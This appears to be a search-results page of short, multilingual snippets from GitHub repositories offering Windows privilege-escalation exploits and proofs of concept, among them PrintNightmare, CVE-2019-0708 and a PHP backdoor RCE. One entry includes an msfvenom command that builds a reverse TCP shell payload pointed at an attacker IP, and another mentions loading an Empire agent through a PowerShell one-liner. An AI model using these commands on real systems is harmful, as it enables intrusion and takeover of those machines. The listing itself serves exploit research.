127 matches found
CVE-2019-0708-EXP-Windows
CVE-2019-0708-EXP-Windows-Version Заявление Автор POC предоставлен исключительно для исследовательских целей. Если читатель использует данный POC для других действий, автор не несёт ответственности. Содержание toc Введение CVE-2019-0708-EXP — отдельный исполняемый файл для Windows exe, не требующ...
CVE-2022-25949
CVE-2022-25949 Многолетний эксплойт локальной уязвимости повышения привилегий EoP в драйвере KWatch антивируса Kingsoft версии 2009.3.17.77. 2009..? Я сообщил об этой проблеме в январе 2014 года, а уведомление о CVE пришло более чем через 8 лет. Я решил выложить это, потому что найти свой старый...
awesome_windows_logical_bugs
awesomewindowslogicalbugs 이 저장소는 Windows 논리적 권한 상승 버그에 대해 배우고 싶은 사람들을 위해 만들었습니다. 또한 제가 발견한 몇 가지도 추가했습니다. 제가 놓친 좋은 기사를 추가하려면 @404death로 연락해 주세요. 작업 진행 중WIP, 새 버그가 공개될 때마다 이 저장소를 계속 업데이트합니다. 권한 상승 취약점 및 기타 연구: Windows 논리적 EoP 버그 SYSTEM 셸로 이어지는 권한 있는 파일 작업 버그 기법: 임의 디렉터리 삭제로 SYSTEM 셸 얻기 임의 파일 생성/쓰기로...
CVE-2021-21551
CVE-2021-21551 Эксплойт до SYSTEM для CVE-2021-21551 SpoolPrinter Privesc с использованием SeImpersonatePrivileges был создан благодаря @ForrestOrr https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3SpoolPotato Я, по сути, просто вставил функцию эксплойта в его код и едва...
CVE-2017-0213
CVE-2017-0213 ここでGoogle Project Zeroチームが提供したコードを使用しました： https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213 私が行った変更により、プログラムがpowershellのワンライナーを呼び出し、ターゲット上でEmpireエージェントを取得できるようになります。 これをEmpire経由での権限昇格に使用します。...
RoguePlanet
RoguePlanet Vulnérabilité Windows Defender RoguePlanet Rebonjour tout le monde !!! L'exploit est une condition de course, donc c'est du pile ou face. J'ai réussi à obtenir un taux de réussite de 100 % sur certaines machines alors qu'il a eu du mal à fonctionner sur d'autres. L'exploit a été testé...
PrintNightmare-LPE
CVE-2021-1675PrintNightmare PoC для получения системной оболочки для CVE-2021-1675 Windows Print Spooler — повышение привилегий авторы: Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Ссылка: https://github.com/afwu/PrintNightmare windows 10 windows server 2012 Благодарность всем...
NimNightmare
CVE-2021-1675 LPE PoC 제 익스플로잇이 아닙니다! 그냥 winim 라이브러리를 nim에서 가지고 놀고 싶었을 뿐입니다. 사용법 msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll 로 DLL 페이로드를 생성한 다음, 공격자 시스템에서 핸들러를 시작하세요. 피해자 시스템에서 .\nimnightmare.exe 을 실행하면 SYSTEM 권한의 셸을 얻을 수 있습니다...
faxhell
faxhell "Fax Shell" Un shell de liaison Proof-of-Concept utilisant le service Fax et un détournement de DLL basé sur Ualapi.dll. Voir notre article à l'adresse : https://windows-internals.com/faxing-your-way-to-system/ Comment utiliser Construisez Ualapi.dll et placez-le dans c:\windows\system32...
ms09-050-CVE-2009-3103-exploit
MS09-050 Обёртка эксплойта SMBv2 Настройка одной командой для эксплуатации MS09-050 CVE-2009-3103. Без хлопот, без отладки — просто работает. Зачем? Большинство встречающихся скриптов MS09-050 требуют ручной инъекции шелл-кода, имеют проблемы с таймингами обработчиков или просто не работают. Эта...
SeManageVolumeExploit
SeManageVolumeExploit Этот эксплойт предоставляет полные права на диск C:\ для всех пользователей на машине. Включает привилегию в токене Создаёт дескриптор к \.\C: с SYNCHRONIZE | FILETRAVERSE Отправляет FSCTLSDGLOBALCHANGE для замены S-1-5-32-544 на S-1-5-32-545 Перезапись «Printconfig.dll» для...
php-8.1.0-dev-backdoor-rce
PHP 8.1.0-dev: бэкдор удалённого выполнения кода Скрипт системной оболочки для бэкдора PHP 8.1.0-dev Версия PHP 8.1.0-dev была выпущена с бэкдором 28 марта 2021 года, но бэкдор был быстро обнаружен и удалён. Если эта версия PHP работает на сервере, злоумышленник может выполнить произвольный код,...
CVE-2019-12476
ADSelfService-Plus-PoC CVE-2019-12476 ADSelfService Plus version 4.3.3 PoC pour un contournement d'authentification sur Windows 10. Affecte toutes les versions de Windows Vidéo de la PoC Étapes pour reproduire 1. Déconnectez-vous de votre réseau d'entreprise 2. Connectez-vous à votre propre point...
vss-fr2system
vss-fr2system Два небольших инструмента, превращающие ошибку произвольного чтения файлов в Windows в SYSTEM оболочку. vssfreeze/ — создаёт теневую копию тома от имени обычного пользователя , затем удерживает её открытой, чтобы вы успели прочитать кусты SAM/SECURITY/SYSTEM. fr2system/ — принимает...
globalprotect-ca-cert-ipc
c2us.exe - Запускает команду от имени пользователя, под которым выполняется процесс, в сеансе рабочего стола вошедшего в систему пользователя. В данном случае запускает cmd.exe от имени SYSTEM в сеансе рабочего стола непривилегированного пользователя. c2us.c - Исходный код для c2us.exe...
SharpPolarBear
SharpPolarBear 이는 SandboxEscaper가 여기https://github.com/SandboxEscaper/polarbearrepo에 게시한 익스플로잇 중 하나의 무기화된 버전입니다. 대부분의 코드는 rasta-mouse의 CollectorService 저장소https://github.com/rasta-mouse/CollectorService에서 가져왔습니다. 원래 SandboxEscaper의 C++ 코드에서 CVE-2019-0841 코드를 C으로 변경하고 몇 가지 검사를 추가했습니다. 또한 필요한...
DirCreate2System
DirCreate2System 특권 디렉터리 생성 버그와 Windows Error Reporting을 이용해 NT AUTHORITY\SYSTEM을 획득하는 무기화 간단한 설명: 저는 comctl32.dll시스템 디렉터리에 실제로 존재하지 않는 누락된 파일이 schtasks를 실행함으로써 Windows 오류 보고를 통해 wermgr.exe에 로드된다는 것을 발견했습니다. 즉, C:\windows\system32\wermgr.exe.local 폴더를 Full 권한 ACL로 생성할 수 있다면 해당 폴더에서 comctl32.dll 을...
Lenovo-CVE-2025-8061
Lenovo-CVE-2025-8061 PoC для получения системной оболочки через драйвер LnvMSRIO.sys 3.1.0.36. Вся заслуга принадлежит оригинальному автору Luis Casvella из Quarkslab. Это работает на последней Windows 11 Version 24H2 с отключёнными KVAShadowing и Core Isolation! !NOTE Скомпилировано с...
